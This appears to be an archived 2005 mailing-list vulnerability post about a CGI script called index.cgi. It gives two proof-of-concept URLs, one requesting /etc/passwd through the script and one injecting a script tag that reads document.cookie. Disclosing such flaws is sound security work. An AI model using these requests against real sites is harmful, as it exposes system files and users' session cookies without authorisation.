<<< Date Index >>>     <<< Thread Index >>>

index.cgi script XSS + file show


Tunis 24/04/2005
BUG found by fireboy
fireboy@xxxxxxxxxxxx



THERE ARE SOME BUGS IN  index.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A 
SYSTEM 

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE 



1)file showing
http://www.target.com/index.cgi?/etc/passwd


2)CSS
http://www.target.com/index.cgi?&lt;script&gt;alert(document.cookie)&lt;/script&gt;


greetz to all magattack members www.magattack.tk